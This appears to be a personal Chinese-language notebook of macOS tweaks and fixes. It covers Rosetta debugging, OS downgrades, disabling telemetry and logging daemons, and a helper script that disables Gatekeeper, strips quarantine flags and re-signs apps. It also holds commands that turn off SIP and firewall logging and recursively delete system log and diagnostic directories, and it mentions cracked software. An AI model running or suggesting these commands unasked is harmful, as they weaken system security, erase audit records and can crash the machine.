https://github.com/docker/for-mac/issues/6921 ) 1 2 3 4 5 6 7 8 # 终端1 ROSETTA_DEBUGSERVER_PORT=1234 /path/file # 终端2 gdb-multiarch # 或者gdb set architecture i386:x86-64 file /path/file target remote localhost:1234 有可能出现报错 1 2 3 4 5 6 7 8 9 10 11 12 # 终端1 rosetta error: no handlers found for <Qqemu.sstepbits>, length=<15>! # 终端2 warning: remote target does not support file transfer, attempting to access files from local filesystem. Exception occurred: Error: Remote connection closed (<class 'pwndbg.dbg.Error'>) For more info invoke set exception-verbose on and rerun the command or debug it by yourself with set exception-debugger on Python Exception <class 'pwndbg.dbg.Error'>: Remote connection closed ./gdb/thread.c:87: internal-error: inferior_thread: Assertion current_thread_ != nullptr' failed. A problem internal to GDB has been detected, further debugging may prove unreliable. 参考: GDB crashes debugging x86 binary under Rosetta 2 + Apple Virtualization Framework Unable to debug amd64 binaries on apple silicon Unable to Debug on Apple M1/M2 when using linux/amd64 devcontainer Using pwndbg debugger to report errors in ubuntu with arm architecture 2025年1月16日 星期四 狗屎拳头公司,macOS端的英雄联盟(League of Legends)全屏有bug,界面上面一部分横排鼠标点击没图标,怀疑遮挡代码有问题,先切换到无边框模式再切换回来就正常了(但是切换后有段时间是卡卡的,垃圾riot公司,优化太差了). 2025年1月4日 星期六 已知bug: surge增强模式会(准确说是开启VPN这个状态)导致 navigator.onLine 判断始终为 true ,即不能真实反映网络联通状态. 2024年12月23日 星期一 鉴于 ishot 2.5.9 版本crack版依然存在使用截图相关功能会导致进程崩溃重启,现给出临时办法(关闭ishot进程后需再次执行): 在进行录屏的过程使用截图相关功能再退出录屏即可,这样能”留住” Legacy Color Picker Extensions (/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-arm64.xpc/Contents/MacOS/LegacyExternalColorPickerService-arm64) 而不导致ishot崩溃. 2024年12月17日 星期二 macOS 15.2 禁用服务(忘了说了,这命令可能需要关闭sip才能执行) sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.modelmanagerd.plist # AI 会导致 /usr/sbin/coreaudiod 进程CPU飙升,占用大量CPU资源 这玩意Klack(1.6.1)软件也有bug,会导致 coreaudiod 进程CPU百分之10以上,本身软件也占CPU比较高. 下面是关于外置ssd安装macOS中遇到的问题的一些不友好语言输出. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 沟槽的macOS系统降级,真操蛋,限制真JB多,BUG也非常多 走USB协议的外置硬盘,遇到许多问题 像什么 无法验证启动器、源宗卷无法恢复 密封已损坏、无法备份 OSStatus error 49153、当前实例与预期不相符、启动磁盘授权失败(管理员密码对了也不给,怀疑代码有问题)、启动外置磁盘中系统强制验证联网、通过终端运行安装器强制联网并下载最新版、恢复模式启动外置硬盘旧版安装器,如果你连了网,安装器不会安装旧版而是联网下载最新版进行安装(逆天),如果你没联网,验证完了给你来句需要互联网连接😅(我卡着时间验证完就它网,这样它才会使用安装器里面的镜像) 😅人都麻了、、 安装器日志各种报错、 从 macOS 15.2 -> 14.3.1 -> 12.5 x-> 11.2.3 根本启动不了走USB协议的外置硬盘里的系统,试过都不行,服了、、只好装到主硬盘再通过(asr)恢复主硬盘宗卷(要求密封完整,byd有验证)到外置硬盘中、、 在恢复模式中装到外置硬盘、在操作系统中运行相匹配的安装器、都他妈不行、 https://discussions.apple.com/thread/253787672?sortBy=rank 似乎只有使用APFS格式化的外部雷雳驱动器才能启动。USB闪存驱动器不可启动,您无法将APFS放在安装程序卷上 要关sip才能安装pkg,但是关闭sip会破坏卷宗密封 M1 MAX 不支持 Big Sur (11.x),原因:安装版本不能超过出厂版本(😅) 上面说的USB协议是指走的USB3 <=10gb/s速率的协议或通道 内置硬盘走pcie协议没问题,外置硬盘走USB4/雷雳4(速率>=40gb/s)协议(通过PCI-Express进行连接)可以启动. 2024年12月9日 星期一 通过brew更新python后,pyenv可能需要更新相关pyvenv.cfg文件路径 ln -s /opt/homebrew/bin/python3 /opt/homebrew/bin/python 2024年12月2日 星期一 解决macOS通过brew安装rust/gem安装依赖后PATH路径问题. 例如: gem install cocoapods,命令gem env将EXECUTABLE DIRECTORY添加到PATH中 安装rust 1 2 brew install rust # rustc compiler brew install rustup # toolchain manager 如果遇到无法解决的奇奇怪怪的问题,就用官方安装办法尝试 1 2 3 rustup self uninstall brew remove rust rustup curl -sSf https://sh.rustup.rs | sh 2024年11月23日 星期六 macOS 语音备忘录 录音存放位置 1 open ~/Library/Group\ Containers/group.com.apple.VoiceMemos.shared/Recordings macOS 日志/临时文件相关位置 1 2 3 4 5 6 7 8 9 /Library/Logs /private/var/tmp /private/var/log /private/var/logs /private/tmp open ~/Library/Logs open ~/Library/Caches # 参考路径: /Users/lanyun/Library/Caches /private/var/root/Library/Logs /private/var/root/Library/Caches 全局环境变量设置 参考: 1 /bin/launchctl setenv MTL_HUD_ENABLED 1 2024年11月13日 星期三 部分域名如 *.cnki.net 需用国内DNS解析如 223.5.5.5,否则访问不了. 2024年11月7日 星期四 v2raya(v2.2.6.2) 在macOS上,某些情况下会导致kernel panic(系统崩溃),简短点说就是macOS 内存保护机制,发现这个进程访问非法内存地址指针(可能说的不准确,但确实和macOS内存保护机制有关,期间CPU跑满),然后系统炸掉重启. 2024年11月6日 星期三 macOS,开机时这个路径/private/var/root/Library/Caches如果不能正常访问,那么开机会卡在login加载界面. 2024年11月5日 星期二 没人🙌比我👐更懂👌macOS☝️(划掉 最近上 macOS 15 了,byd,一些系统服务 launchctl unload -w 后开机还是要启动 结合前几天的研究和 macOS 15 这个特性写了个自动化脚本(😏自用,因为耗费较多精力且还有待完善,暂不免费公开,有bug,出问题了我不想负责.) 脚本自动关闭系统收集数据相关进程,且能保证系统不会炸掉(崩溃),同时自动将一些many disk write(喜欢写数据/拉屎)的应用(例如: Chrome,qq等)的数据路径全部重定向到Ram Disk(内存磁盘)中去,大幅缓解SSD损耗.同时在关机前自动将数据备份到指定路径中,开机时自动恢复.完善的日志记录,方便排查问题.后面再加什么功能就懒得写了.反正对于我来说很爽(磁盘写入敏感性/强迫症用户). 用ishot crack(2.5.6)版截图一次,进程崩溃重启一次(2.5.4 crack版没这个问题),目前通过奇怪的方式修好了(😏,过几版本看修复了没,没的话就分享出来) 2024年11月4日 星期一 禁用systemstats等进程,停止记录系统级别信息 1 2 3 4 5 6 7 8 9 10 11 sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.systemstats.analysis.plist;sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.systemstatusd.plist sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.systemstats.daily.plist;sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.systemstats.microstackshot_periodic.plist sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.ecosystemanalyticsd.plist launchctl unload -w /System/Library/LaunchAgents/com.apple.mediaanalysisd.plist launchctl unload -w /System/Library/LaunchAgents/com.apple.photoanalysisd.plist launchctl unload -w /System/Library/LaunchAgents/com.apple.inputanalyticsd.plist launchctl unload -w /System/Library/LaunchAgents/com.apple.geoanalyticsd.plist sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.analyticsd.plist sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.audioanalyticsd.plist sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.wifianalyticsd.plist sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.osanalytics.osanalyticshelper.plist 进程analyticsd拉屎位置: /private/var/db/analyticsd (我他妈直接rm -rf) 2024年11月3日 星期日 🐎的,艹了,手残把/private/var/db/oah给删了(删文件夹下的内容也会出问题,好不容易定位到这个地方的问题,最近在狠狠地调教macOS系统,删了很多垃圾,禁止一些行为的拉屎等等,但是这不算完☝️,以后有空慢慢玩.) 解决办法: 进恢复模式,用终端,关sip(csrutil disable),pkgutil --files com.apple.pkg.RosettaUpdateAuto --volume xx(自己填硬盘的DATA路径)找到它安装到哪些位置(例如我的是: /Library/Apple/usr/lib/libRosettaAot.dylib /Library/Apple/usr/libexec/oah /Library/Apple/usr/share/rosetta),然后狠狠地rm -rf(不放心自己mv到其他地方).byd,oah相关进程崩溃导致loginwindow无响应,艹了.killall -HUP loginwindow 勉强能用. 2024年11月1日 星期五 如果能研究出macOS应用Containers沙盒通过软链接访问外部存储设备就好了. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 关闭 rtcreportingd ,禁止收集诊断和使用情况遥测数据 sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.rtcreportingd.plist # 系统的建议和推荐功能相关的服务, 有高CPU使用率bug launchctl unload -w /System/Library/LaunchAgents/com.apple.suggestd.plist # 处理系统软件的安装和更新任务 sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.system_installd.plist # 与壁纸和屏幕保护程序有关,下载动态壁纸 sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.idleassetsd.plist # 恢复启用sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.idleassetsd.plist # 隔空投送AirDrop等文件分享相关 launchctl unload -w /System/Library/LaunchAgents/com.apple.sharingd.plist # 恢复launchctl load -w /System/Library/LaunchAgents/com.apple.sharingd.plist # sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.oahd.plist # sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.oahd-root-helper.plist 记录一下在macOS环境下遇到electron构建的应用相关报错(主要是不会搞让应用的容器路径下让应用能够访问软链接到外部的路径或文件,应用没权限,因为不知道怎么添加这个权限,我就打算去掉sandbox,但是遇到了些问题.) 使用命令sudo codesign -f -s - --timestamp=none --all-architectures签名,遇到的问题: [32428:1102/000248.192282:ERROR:network_service_instance_impl.cc(600)] Network service crashed, restarting service. GPU process exited unexpectedly: exit_code=5 等等. 终于经过研究实践用如下命令签名解决 1 2 # -s 后面是自签的证书,自行生成即可 sudo codesign -f -s "lanyun" --deep --verbose xx 2024年10月31日 星期四 如果你发现ANECompilerService进程写入量很高,那是因为它在 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 /private/var/folders/9y/xxx/C/com.apple.quicklook.ThumbnailsAgent/com.apple.QuickLook.thumbnailcache/thumbnails.data # 路径中写数据 # 下面内容为杂记 # 关闭macOS索引 mdutil -a -i off;mdutil -aE # 手动进入睡眠 sudo pmset sleepnow # 快速签名以及绕过签名的程序 #!/bin/bash clear # 定义颜色 BLACK="\033[0;30m" DARK_GRAY="\033[1;30m" BLUE="\033[0;34m" LIGHT_BLUE="\033[1;34m" GREEN="\033[0;32m" LIGHT_GREEN="\033[1;32m" CYAN="\033[0;36m" LIGHT_CYAN="\033[1;36m" RED="\033[0;31m" LIGHT_RED="\033[1;31m" PURPLE="\033[0;35m" LIGHT_PURPLE="\033[1;35m" BROWN="\033[0;33m" YELLOW="\033[0;33m" LIGHT_GRAY="\033[0;37m" WHITE="\033[1;37m" NC="\033[0m" CLTGDIR="/Library/Developer/CommandLineTools/" # 检查是否具有管理员权限 if [[ $EUID -ne 0 ]]; then echo -e "${RED}请以管理员身份运行此脚本。${NC}" exec sudo "$0" "$@" fi while true; do clear echo "" echo -e "${GREEN}macOS小助手${NC} ${RED}by lw404-ai${NC}" echo "" PS2='直接回车默认执行 [重新签名] 与 [绕过签名] 选项 (其他选择请输入非空字符): ' PS3='请输入数字然后按下回车进行选择: ' options=( "绕过签名认证 (可解决『应用无法运行』问题)" "应用进行签名 (可解决『意外退出/崩溃闪退』问题)" "查看SIP状态" "禁用系统更新提示" "退出脚本" ) # 提示用户选择操作 read -p "$PS2" REPLY # 如果用户直接按回车不输入,执行选项1和选项2 if [[ -z "$REPLY" ]]; then # 执行选项1:绕过签名认证 echo -e "${YELLOW}请将需要执行的程序拖放到此处,然后按回车键${NC}" read -e -p "应用路径: " FILEPATH1 if [ -e "$FILEPATH1" ]; then sudo spctl --master-disable sudo xattr -rd com.apple.quarantine "$FILEPATH1" echo -e "${GREEN}--- 1 ---绕过签名成功!${NC}" else echo -e "${RED}路径无效,请确认文件是否存在。${NC}" fi if [ -e "$FILEPATH1" ];then if [ ! -d "$CLTGDIR" ]; then echo -e "${RED}未安装Command Line Tools,请先安装。${NC}" echo "你可以通过运行 'xcode-select --install' 来安装。" else sudo codesign --force --deep --sign - "$FILEPATH1" echo -e "${GREEN}--- 2 ---重新签名成功!${NC}" fi fi else # 用户选择了某个选项,进入select逻辑 select opt in "${options[@]}"; do case $opt in "绕过签名认证 (可解决『应用无法运行』问题)") echo "" echo -e "${YELLOW}请将需要绕过签名的程序拖放到此处,然后按回车键${NC}" read -e -p "应用路径: " FILEPATH if [ -e "$FILEPATH" ]; then sudo spctl --master-disable sudo xattr -rd com.apple.quarantine "$FILEPATH" echo -e "${GREEN}绕过签名认证成功!${NC}" else echo -e "${RED}路径无效,请确认文件是否存在。${NC}" fi break ;; "应用进行签名 (可解决『意外退出/崩溃闪退』问题)") echo "" echo -e "${YELLOW}请将需要签名的程序拖放到此处,然后按回车键${NC}" read -e -p "应用路径: " FILEPATH if [ -e "$FILEPATH" ]; then if [ ! -d "$CLTGDIR" ]; then echo -e "${RED}未安装Command Line Tools,请先安装。${NC}" echo "你可以通过运行 'xcode-select --install' 来安装。" else sudo spctl --master-disable sudo codesign --force --deep --sign - "$FILEPATH" echo -e "${GREEN}签名成功!${NC} 请重新运行应用查看结果。" fi else echo -e "${RED}路径无效,请确认文件是否存在。${NC}" fi break ;; "查看SIP状态") echo "" echo -e "您选择了${LIGHT_BLUE}查看SIP状态${NC}" csrutil status echo -e "${RED}disabled${NC} 代表SIP已${CYAN}关闭${NC},${RED}enabled${NC} 代表SIP已${YELLOW}开启${NC}。" break ;; "禁用系统更新提示") echo "" echo -e "您选择了${LIGHT_BLUE}禁用系统更新提示${NC}" sudo defaults write com.apple.systempreferences AttentionPrefBundleIDs 0 sudo killall Dock echo -e "${GREEN}系统更新提示已禁用!${NC}" break ;; "退出脚本") echo -e "${RED}脚本结束,窗口即将关闭${NC}" exit 0 ;; *) echo -e "${RED}无效选择,请重新输入。${NC}" ;; esac break done fi echo "" echo -e "${YELLOW}按下任意键重新运行脚本,或按下ESC键退出${NC}" read -rsn1 key if [[ $key == $'\e' ]]; then echo -e "${RED}脚本结束,窗口即将关闭${NC}" break fi done exit 0 # 视频片头/尾剪去 for file in *.mp4; do duration=$(ffprobe -v error -show_entries format=duration -of default=noprint_wrappers=1:nokey=1 "$file") new_duration=$(echo "$duration - 15 - 5" | bc) ffmpeg -i "$file" -ss 5 -t "$new_duration" -c copy "temp_$file" mv "temp_$file" "$file" done # openwrt 刷新 dns 缓存 /etc/init.d/dnsmasq restart # 配置虚拟 python python3 -m venv .venv source .venv/bin/activate 1 2 3 4 5 6 7 8 9 10 11 # 命令存档参考 /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome \ --disk-cache-size=1 \ --media-cache-size=1 \ --disable-gpu-program-cache \ --disable-gpu-shader-disk-cache \ --skia-font-cache-limit-mb=1 \ --skia-resource-cache-limit-mb=1 \ --v8-cache-options=none > /dev/null 2>&1 # 因为我直接把整个目录软链接到RamDisk上了,并做了定期备份,所以就用不上了. 还是Safari文明些,不像Google Chrome喜欢往disk拉屎(many disk write). 2024年10月30日 星期三 删除Google Chrome上该死的旧版本. 1 2 #路径 open '/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions' 利用TmpDisk,将一些cache目录(特别是Chrome,Spotify等喜欢disk write的傻逼软件)重定向到内存磁盘上去了.顺便在系统允许的范围内也禁用一些喜欢disk write的软件(如:helpd) 记录macOS启动流程中目录不可访问失败 1 2 3 # xxx 请根据实际情况,懒的补充了,以后有机会弄 /private/var/folders/9y/xxx/0/com.apple.LaunchServices.dv ~/Library/Caches # 关键目录,用户空间壁纸等重要进程的依赖,有些逼系统应用逻辑有毛病,别软链接重定向会出毛病,猜测可能是db数据库文件不能软链接. 2024年10月28日 星期一 垃圾macOS,下面👇命令 ⚠️ 慎用(待完善)! 有可能会导致系统崩溃.(先别加-w,不然崩溃重启后你需要迅速执行launchctl load -w相关命令,否则有可能会连续崩溃.) macOS禁用并删除一部分(不完全)系统/软件日志: 1 2 3 4 5 6 7 8 9 10 11 sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.syslogd.plist sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.logd.plist # 慎用 sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.logd_helper.plist # 慎用 sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.logd_reporter.plist # 慎用 sudo rm -rf "/private/var/db/diagnostics" sudo rm -rf "/private/var/db/DiagnosticsReporter" sudo rm -rf "/private/var/db/uuidtext" sudo rm -rf "/Library/Logs" sudo rm -rf "/Users/$(whoami)/Library/Logs" sudo rm -rf "/private/var/log"* 其他相关命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 sudo log erase --all # 释放日志 echo pffff >> dsc; sudo rm -rf /private/var/db/uuidtext/dsc; sudo mv dsc /private/var/db/uuidtext/ # 不如: sudo rm -rf /private/var/db/uuidtext;sudo touch /private/var/db/uuidtext # 关闭防火墙日志记录 sudo plutil -convert xml1 /Library/Preferences/com.apple.alf.plist # 将plist 二进制文件转换为 XML 文本 sudo vim /Library/Preferences/com.apple.alf.plist # 将loggingenabled值改为0,然后保存 sudo plutil -convert binary1 /Library/Preferences/com.apple.alf.plist # 转换回去 # 编辑syslogd 和 aslmanager的配置文件 sudo vim /private/etc/asl.conf # 全部注释掉 # 重启syslogd服务 sudo launchctl unload /System/Library/LaunchDaemons/com.apple.syslogd.plist sudo launchctl load /System/Library/LaunchDaemons/com.apple.syslogd.plist # 可以去/private/etc/asl目录下,对某些应用进一步配置 # macOS上 adguard 拉的屎(日志)不支持禁用,也不方便删除. # 相关日志路径如下 /Users/$(whoami)/Library/Group Containers/TC3Q7MAJXF.com.adguard.mac/Library/Logs /Users/$(whoami)/Library/Group Containers/TC3Q7MAJXF.com.adguard.mac/Logs # 先打开软件后再删除后sudo touch处理,否则软件启动不了. # 或者完全杀死adguard相关进程然后 rm -rf "/Users/$(whoami)/Library/Group Containers/TC3Q7MAJXF.com.adguard.mac/Library/Logs/com.adguard.mac.adguard/Adguard-group.log";ln -s /dev/null "/Users/$(whoami)/Library/Group Containers/TC3Q7MAJXF.com.adguard.mac/Library/Logs/com.adguard.mac.adguard/Adguard-group.log" # /Library/Logs/com.adguard.mac.adguard/Adguard-shared.log 这个文件同上操作.如果因为helper进程导致强占不了,可以先搞个 ln -s /dev/null ./tmp 再 sudo mv ./tmp 过去. # 重启 sudo launchctl unload /System/Library/LaunchDaemons/com.apple.logd.plist sudo launchctl unload /System/Library/LaunchDaemons/com.apple.logd_helper.plist sudo launchctl unload /System/Library/LaunchDaemons/com.apple.logd_reporter.plist sudo launchctl unload /System/Library/LaunchDaemons/com.apple.watchdogd.plist sudo launchctl load /System/Library/LaunchDaemons/com.apple.logd.plist sudo launchctl load /System/Library/LaunchDaemons/com.apple.logd_helper.plist sudo launchctl load /System/Library/LaunchDaemons/com.apple.logd_reporter.plist sudo launchctl load /System/Library/LaunchDaemons/com.apple.watchdogd.plist # macOS 14.6.1 经过测试,注意到当"/private/var/db/diagnostics"为文件时,重启logd,由于logd无法读取到/private/var/db/diagnostics/logd.0.log等文件会导致异常,120秒后watchdog检测到logd未正常工作,用户态崩溃,崩溃恢复后logd依然未能正常工作,但是watchdog似乎未检测到?反正就是没采取内核panic崩溃行动.(你问为什么?我不到啊,问就是macOS watchdog特性.😂,<del>还有可能是系统崩溃前,我恢复了/Library/Logs路径,让logd能正确写入崩溃报告</del>也许有关系,但touch /Library/Logs/DiagnosticReports没有影响) 似乎因为logd每10分钟成功向/Library/Logs/DiagnosticReports中写日志,让watchdog认为logd没问题,所以就没崩溃😂. # 恢复/private/var/db/diagnostics目录,发现logd.0.log显示logd进入sick mode,而且还在DiagnosticReports拉错误日志 # <del>小总结下,不想要日志直接操作如下</del> sudo launchctl unload /System/Library/LaunchDaemons/com.apple.logd.plist sudo launchctl unload /System/Library/LaunchDaemons/com.apple.logd_helper.plist sudo launchctl unload /System/Library/LaunchDaemons/com.apple.logd_reporter.plist sudo launchctl unload /System/Library/LaunchDaemons/com.apple.watchdogd.plist sudo rm -rf /private/var/db/diagnostics;sudo rm -rf /private/var/db/uuidtext # touch命令就省略了,可以自行补充. sudo launchctl load /System/Library/LaunchDaemons/com.apple.logd.plist sudo launchctl load /System/Library/LaunchDaemons/com.apple.watchdogd.plist # 自此,关于logd的日志不算完美的结束了,logd每10分钟拉屎也拉不出来,目前缺点是如果发生内核崩溃kernel panic,没办法保存相关日志,导致没办法排查问题,等我以后有空了完善下GitHub关于黑洞文件系统项目就能解决这个问题,现在不行. # 驳回上面小总结 # 发现新特性:touch uuidtext,重启logd进程会进入sick mode,如果能正常向/private/var/db/diagnostics/logd.0.log写入日志(但是会10多分钟进程会重启然后写一条),那么就不会在DiagnosticReports拉崩溃日志 # 如果完全不想要logd记录日志,可以这样做 (注意-w是永久保存的意思,重启后不会恢复) sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.syslogd.plist sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.logd_helper.plist sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.logd_reporter.plist sudo launchctl unload /System/Library/LaunchDaemons/com.apple.logd.plist sudo launchctl unload /System/Library/LaunchDaemons/com.apple.watchdogd.plist sudo rm -rf /private/var/db/diagnostics/* sudo launchctl load /System/Library/LaunchDaemons/com.apple.logd.plist sudo launchctl load /System/Library/LaunchDaemons/com.apple.watchdogd.plist # <del>大部分情况下是稳定的,但某些情况下watchdog认为logd未正常工作就崩了.</del> # 我他妈直接sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.logd.plist # 重启后,watchdog居然没给我崩溃.logd进程未运行.稳定性比上面都好,因为不存在logd进程重启了. # 后言 # 有人可能会说,我死了,硬盘都还活着,这样做完全没必要,但是我想说的是,我有电子洁癖,不想这些傻逼进程(除了系统进程外还有些应用)乱拉屎,拉的屎我还看不懂,有些系统进程是专门记录信息发送Apple公司的,有些应用他妈的强制收集信息上报,老子把上传接口给block(网络屏蔽)了,他妈的还是要源源不断地生成屎(日志)在我硬盘上,例如:腾讯系xlog加密日志,谁他妈知道你偷偷收集了什么信息,我他妈不想分享/贡献我的电脑信息和日志给任何人/公司.我他妈也不想这些傻逼进程生成我看不懂的日志,老子又不是macOS系统开发者,给老子生成这么专业的日志干嘛.也许有人会说,你有日志可以发给别人帮助我解决问题.我他妈想说的是,老子有手有脑子,自己能解决,会用Google,社恐不想麻烦别人.所以这些专业的JB(勾巴)日志给老子滚😡! 注意事项 1 2 3 4 5 # 通过对panicString(/Library/Logs/DiagnosticReports)研究发现,如果logd进程在120秒内没有响应watchdogd进程(通过launchctl unload命令,此时logd已经被关闭/杀死),那么watchdogd进程将触发的用户态系统崩溃 # 所以杀/结束logd进程之前,先杀死watchdogd进程(虽然watchdogd进程也挺有用的). # launchctl unload -w /System/Library/LaunchDaemons/com.apple.watchdogd.plist # 禁用后发现,macOS发现watchdogd进程挂了也会崩溃.算了,懒的继续搞了,以后有时间再看看. # 注: launchctl unload 添加 -w 是永久保存修改的意思,即重启后不会再load (可选)关闭Apple 推送通知服务 (apsd) 1 2 3 4 5 6 7 sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.apsd.plist # 其他服务 launchctl unload -w /System/Library/LaunchAgents/com.apple.helpd.plist sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.metadata.mds.plist # 索引相关 # 恢复sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.metadata.mds.plist launchctl unload -w /System/Library/LaunchAgents/com.apple.corespotlightd.plist # 索引相关,谨慎禁用,可能导致某些应用索引功能异常,如Paste无法搜索等. sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.coresymbolicationd.plist # 提供将崩溃报告中的内存地址转换为源代码中的函数名和行号等作用 (无效)禁用系统更新等服务(以后尝试用Santa看看) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #sudo launchctl unload /System/Library/LaunchAgents/com.apple.SoftwareUpdateNotificationManager.plist #sudo launchctl bootout system /System/Library/LaunchDaemons/com.apple.analyticsd.plist #sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.analyticsd.plist # 下面代码没用 # Daemons to disable daemons=('com.apple.analyticsd' 'com.apple.appleseed.fbahelperd' 'com.apple.dprivacyd' 'com.apple.ReportCrash.Root' 'com.apple.SubmitDiagInfo') # Agents to disable agents=('com.apple.appleseed.seedusaged' 'com.apple.appleseed.seedusaged.postinstall' 'com.apple.ReportCrash' 'com.apple.softwareupdate_notify_agent' 'com.apple.SoftwareUpdateNotificationManager' 'com.apple.ReportCrash') for daemon in "${daemons[@]}"; do { sudo /usr/libexec/PlistBuddy -c "Add Disabled bool true" /System/Library/LaunchDaemons/${daemon}.plist sudo launchctl unload -w /System/Library/LaunchDaemons/${daemon}.plist } &> /dev/null # If the disabled flag is set, print success message daemon_flag=$(/usr/libexec/PlistBuddy -c "Print Disabled" /System/Library/LaunchDaemons/${daemon}.plist 2> /dev/null) if [[ ${daemon_flag} == 'true' ]]; then echo "[SUCCESS] Disabled ${daemon}" else echo "[ERROR] Failed to disable ${daemon}" fi done for agent in "${agents[@]}"; do { sudo /usr/libexec/PlistBuddy -c "Add Disabled bool true" /System/Library/LaunchAgents/${agent}.plist sudo launchctl unload -w /System/Library/LaunchAgents/${agent}.plist } &> /dev/null # If the disabled flag is set, print success message agent_flag=$(/usr/libexec/PlistBuddy -c "Print Disabled" /System/Library/LaunchAgents/${agent}.plist 2> /dev/null) if [[ ${agent_flag} == 'true' ]]; then echo "[SUCCESS] Disabled ${agent}" else echo "[ERROR] Failed to disable ${agent}" fi done 2024年7月24日 星期三 macOS 图书 中书籍位置信息: iCloud 位置: ~/Library/Mobile\ Documents/iCloud\~com\~apple\~iBooks/Documents 本机位置: ~/Library/Containers/com.apple.BKAgentService/Data/Documents/iBooks 用open命令打开上面路径即可找到你的书籍文件,可惜目前我只了解到Mac上可以这样无视苹果图书软件限制导出书籍. 2024年7月23日 星期二 在macOS上清除 OrbStack docker 容器日志. 方法一: 1 2 3 4 docker inspect --format='{{.LogPath}}' 容器ID # 定位路径 docker run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh # 这种方法将创建一个容器,并将其加入主机的命名空间,之后通过执行 `nsenter` 命令在初始化进程(PID 1)的命名空间中创建一个新的 shell。由于它依赖于稳定的 Docker 特性来访问虚拟机,所以在后续版本中不会有太大变化。在示例中我使用了 `debian` ,但您可以将其替换为任何具有 `nsenter` 的镜像(例如 `alpine` 、`busybox` 等) # 来源: https://stackoverflow.com/a/66670709 方法二(推荐): 1 2 3 # 启动任意一个容器,并复制其ID open ~/OrbStack/docker/containers/容器ID/var/lib/docker/containers # 之后进入想要删除的容器ID,然后删除ID.log文件或者清除内容即可. 上面方法都是利用了Docker CE virtual machine来实现访问/var/lib/docker路径. 2024年5月3日 星期五 uu加速器 台服英雄联盟 IP似乎被封禁.利用Proxifier将pvp.net子域名走代理(eg:香港节点),其余域名走direct,通过uu加速器设定的6.6.6.6本地DNS解析实现加速.另外,在macOS上,uu加速器会走系统设定的代理服务,而代理服务通过Proxifier分流到direct.这会导致一个DNS loop的问题.解决办法:在系统设置,网络,过滤条件中关闭Proxifier DNS代理. tips: 如果Adguard开启dns保护,大概率会导致lol客户端报错: 无法连接到平台SIPT ,因为uu加速器设置的dns会被adguard的dns模块给劫持了,导致客户端获取ip不匹配/未走加速器线路. 2024年3月30日 星期六 tmd,CodeWhisperer疯狂下载/上传,域名:specs.codewhisperer.us-east-1.amazonaws.com,鬼知道在上传什么数据. 2024年3月25日 星期一 修改passwall服务器端中各个协议配置模版相关代码位置: 1 /usr/lib/lua/luci/passwall 2024年2月18日 星期日 对于macOS中sed命令.POSIX 规范要求sed在(a/i/c)\后面需要有一个换行符. 例如: 1 2 3 4 5 6 7 8 9 # 下面代码会将$file路径文件中第3行插入内容This is added at the beginning of line 3,原来的第3行变成第4行 sed -i '' -e "3i\\ This is added at the beginning of line 3" $file # 或者这样写 sed -i '' -e '/#/i\'$'\nwords' $file # 在#字符的前面插入一行words sed -i '' -e '1i\'$'\nwords' $file # 在第一行前加一行words sed -i '' -e $'1i\\\nwords' $file # 上面是插入行(新增新行)的写法 # 只需将 -e 换成 -E,即可实现不新增行,在原有的行的基础上,在行首/尾插入 2024年2月17日 星期六 已知,macOS adobe软件会导致系统指针切换为自定义指针异常.解决: 退出相关软件即可恢复正常. 掌握一项技能: 手动将位图转换为矢量图(包含其中调整,修饰等) 2024年1月25日 星期四 (不完善,不全面,存在缺陷)删除并阻止macOS日志生成. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 user=$(whoami) log_path=( "/Library/Logs" # 不建议处理,可以存系统崩溃等日志 "/Users/${user}/Library/Logs" 